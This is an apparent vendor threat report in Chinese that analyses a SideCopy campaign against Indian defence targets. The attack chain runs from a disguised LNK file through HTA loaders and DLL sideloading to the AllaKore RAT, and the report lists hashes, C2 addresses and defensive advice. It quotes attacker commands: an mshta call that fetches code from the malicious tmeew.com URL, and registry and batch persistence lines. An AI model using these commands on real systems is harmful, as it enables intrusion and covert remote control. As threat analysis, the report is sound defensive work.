警惕LNK文件攻击导致数据窃取！SideCopy近期针对印度地区攻击活动分析

第一阶段

      原始样本中包含伪装成PDF文件的LNK文件，运行后将执行C:WindowsSystem32mshta.exe https://tmeew.com/assets/carousel/files/LVE_CUM_POSTING_(ARMY_PERS)/jspxtoolkit

     LNK文件中执行的链接将跳转至

hxxps://tmeew[.]com/assets/carousel/files/LVE_CUM_POSTING_(ARMY_PERS)/jspxtoolkit/jqueryxmlcss.hta。

      该代码来自开源项目CACTUSTORCH，魔改后的函数参数为data, filename。

    在加载器中对应代码如下，即传入数据经base64解码并解压到%Temp%目录下。

     随后检测本地是否开启WindowsDefender，并下载后续负载：

     hxxps://tmeew[.]com/assets/carousel/nttoolkit/ -> C:\ProgramData\HP\jquery.txt；

     hxxps://tmeew[.]com/assets/carousel/cyxtoolkit/ -> C:\ProgramData\HP\jscy.txt

     下载的文件jquery.txt仍然是采用base64解码后解压的方式得到jquery.hta。

     jquery.hta与一阶段jqueryxmlcss.hta的文件逻辑构造相似，增加有反病毒产品检测，以及参数变更为exeBytes, dllBytes。

    第二阶段DLL文件将根据目标机器上安装的反病毒产品进行后续操作

●创建C:\ProgramData\gvnntr\目录，将C:\Windows\System32\credwiz.exe文件拷贝至该目录，在自启目录以及C:\Users\Public\目录下创建gvnntrSettings.lnk文件用于启动credwiz.exe并实现持久化，lnk文件包含指令如下：C:WindowsSystem32cmdexe-/c start /b C:ProgramDatagvnntrcredwiz.exe

●将EXE数据（3b4abb7b29f7f41b30f4ed8d86dc6c8a）写入%Temp%\gvnntr\gvnntr.txt，并将DLL数据（cf134c9ac335f549055fe2eff65e9921）写入C:\ProgramData\newimage.jpg，写入成功后将newimage.jpg移动至C:\ProgramData\gvnntr\DUser.dll

●通过Powershell指令将%Temp%\gvnntr\gvnntr.txt重命名为gvnntr.exe

●最后执行C:\Users\Public\gvnntrSettings.lnk

●创建C:\ProgramData\gvnntr\目录，将C:\Windows\SysWOW64\credwiz.exe文件拷贝至该目录

将DLL数据写入C:\ProgramData\newimage.jpg后将newimage.jpg移动至C:\ProgramData\gvnntr\DUser.dll

●在C:\ProgramData\gvnntr\目录下创建gvnntr.bat文件并启动以实现持久化，gvnntr.bat文件内容如下：REG ADD “HKCUSOFTWAREMicrosoftWindowsCu3b4abb7b29f7f41b30f4ed8d86dc6c8arrentVersionRun” /V “gvnntr” /t REG_SZ /F /D “C:ProgramDatagvnntrcredwiz.exe”

●直接将EXE数据写入%Temp%\gvnntr\gvnntr.exe

●休眠3min后，启动 C:ProgramDatagvnntrcredwiz.exe

在C:\ProgramData\gvnntr\目录下创建gvnntr.bat文件并启动以实现持久化，gvnntr.bat内容同上，将EXE数据写入TXT，DLL数据写入DUser.dll

●创建C:\ProgramData\gvnntr\，将credwiz.exe文件拷贝至该目录，将DLL数据写入C:\ProgramData\extrafile.txt后移动至C:\ProgramData\gvnntr\DUser.dll

●通过BAT文件实现持久化，释放EXE数据到%Temp%\gvnntr\gvnntr.exe

●休眠1min，启动 C:ProgramDatagvnntrcredwiz.exe

●创建C:\ProgramData\gvnntr\，将credwiz.exe文件拷贝至该目录，将DLL数据写入C:\ProgramData\newimage.jpg后将newimage.jpg移动至C:\ProgramData\gvnntr\DUser.dll

●在C:\ProgramData\gvnntr\目录下创建gvnntr.bat文件并启动以实现持久化，将EXE数据写入%Temp%\gvnntr\gvnntr.exe

●休眠1min，启动 C:ProgramDatagvnntrcredwiz.exe

      Loader下载的另一文件jscy.txt，主要是将上述变量gvnntr更改为vmmbs，其他逻辑均不变。其中EXE数据与DLL数据hash值如下

072fb8ca7c0dce0888707ccbbd37723d | DLL

98a0ed81f68297ea804e8209a28b91be | EXE

      credwiz.exe启动后将加载同目录下的DUser.dll，该DLL的主要功能为启动%Temp%\gvnntr\gvnntr.exe

     gvnntr.exe为最终阶段远控软件AllaKore RAT。AllaKore是一种公开可用的基于Delphi的RAT，常与CetaRAT一起用于SideCopy的攻击活动中。AllaKore的恶意功能包括：键盘记录、捕获屏幕截图、列出文件夹和文件、上传/下载文件、窃取剪贴板数据、获取/更换壁纸。

       此次活动中，该RAT被命名为POISONManager

      其中包含的29553fb6797c15d99bcb2d9e27abd49d组件可关联到其他AllaKore远控工具，最终连接到 209.126.80.23:{6391、3281}

      tmeew[.]com解析到162.241.85.104

      通过样本特征我们关联到该组织在今年上半年攻击活动中的样本如下。

     SideCopy组织近一年来攻击活动频繁，攻击武器从C#、Delphi发展至Golang，从Windows发展至多平台，攻击目标却始终牢牢锁定印度国防部。此外，该组织乐此不疲地在攻击活动中使用LNK伪装成JPG、Word、PDF等文件，说明此攻击手段针对特定目标人群有较大的成功率。

     安恒建议广大用户谨慎对待未知来源的邮件附件及链接，提高对LNK文件攻击的警惕。如有需要鉴别的未知来源样本，可以投递至安恒云沙箱查看判别结果后再进行后续操作。

高级威胁研究团队，专注于APT攻击发现、分析、检测、溯源、防御等研究，以及积累了海量的IoC情报数据。